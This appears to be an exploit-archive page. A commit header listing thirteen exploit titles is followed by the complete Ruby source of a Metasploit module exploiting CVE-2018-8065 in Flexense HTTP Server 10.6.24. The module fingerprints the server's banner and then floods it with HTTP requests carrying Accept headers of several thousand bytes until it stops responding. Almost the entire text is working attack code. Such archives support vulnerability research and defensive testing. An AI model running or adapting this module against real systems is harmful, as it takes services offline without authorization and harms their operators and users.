cb5c64da21
13 changes to exploits/shellcodes/ghdb Pydio Cells 4.1.2 - Cross-Site Scripting (XSS) via File Download Pydio Cells 4.1.2 - Server-Side Request Forgery Pydio Cells 4.1.2 - Unauthorised Role Assignments Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit) MotoCMS Version 3.4.3 - Server-Side Template Injection (SSTI) Faculty Evaluation System 1.0 - Unauthenticated File Upload Online Security Guards Hiring System 1.0 - Reflected XSS Online shopping system advanced 1.0 - Multiple Vulnerabilities Rukovoditel 3.3.1 - CSV injection SCRMS 2023-05-27 1.0 - Multiple SQL Injection Service Provider Management System v1.0 - SQL Injection Ulicms-2023.1-sniffing-vicuna - Privilege escalation unilogies/bumsys v1.0.3 beta - Unrestricted File Upload
98 lines
No EOL
3.3 KiB
Ruby
Executable file
98 lines
No EOL
3.3 KiB
Ruby
Executable file
##
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# Exploit Title: Flexense HTTP Server 10.6.24 - Buffer Overflow (DoS) (Metasploit)
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# Date: 2018-03-09
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# Exploit Author: Ege Balci
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# Vendor Homepage: https://www.flexense.com/downloads.html
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# Version: <= 10.6.24
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# CVE : CVE-2018-8065
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Dos
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Flexense HTTP Server Denial Of Service',
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'Description' => %q{
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This module triggers a Denial of Service vulnerability in the Flexense HTTP server.
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Vulnerability caused by a user mode write access memory violation and can be triggered with
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rapidly sending variety of HTTP requests with long HTTP header values.
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Multiple Flexense applications that are using Flexense HTTP server 10.6.24 and below vesions reportedly vulnerable.
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},
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'Author' => [ 'Ege Balci <ege.balci@invictuseurope.com>' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2018-8065'],
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[ 'URL', 'https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS' ],
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],
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'DisclosureDate' => '2018-03-09'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('PacketCount', [ true, "The number of packets to be sent (Recommended: Above 1725)" , 1725 ]),
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OptString.new('PacketSize', [ true, "The number of bytes in the Accept header (Recommended: 4088-5090" , rand(4088..5090) ])
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])
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end
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def check
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begin
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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res = sock.get
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if res and res.include? 'Flexense HTTP Server v10.6.24'
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Exploit::CheckCode::Appears
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else
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Exploit::CheckCode::Safe
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end
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rescue Rex::ConnectionRefused
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print_error("Target refused the connection")
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Exploit::CheckCode::Unknown
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rescue
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print_error("Target did not respond to HTTP request")
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Exploit::CheckCode::Unknown
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end
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end
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def run
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unless check == Exploit::CheckCode::Appears
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fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
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end
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size = datastore['PacketSize'].to_i
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print_status("Starting with packets of #{size}-byte strings")
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count = 0
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loop do
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payload = ""
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payload << "GET /" + Rex::Text.rand_text_alpha(rand(30)) + " HTTP/1.1\r\n"
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payload << "Host: 127.0.0.1\r\n"
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payload << "Accept: "+('A' * size)+"\r\n"
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payload << "\r\n\r\n"
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begin
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connect
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sock.put(payload)
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disconnect
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count += 1
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break if count==datastore['PacketCount']
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rescue ::Rex::InvalidDestination
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print_error('Invalid destination! Continuing...')
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rescue ::Rex::ConnectionTimeout
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print_error('Connection timeout! Continuing...')
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rescue ::Errno::ECONNRESET
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print_error('Connection reset! Continuing...')
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rescue ::Rex::ConnectionRefused
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print_good("DoS successful after #{count} packets with #{size}-byte headers")
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return true
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end
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end
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print_error("DoS failed after #{count} packets of #{size}-byte strings")
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end
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end |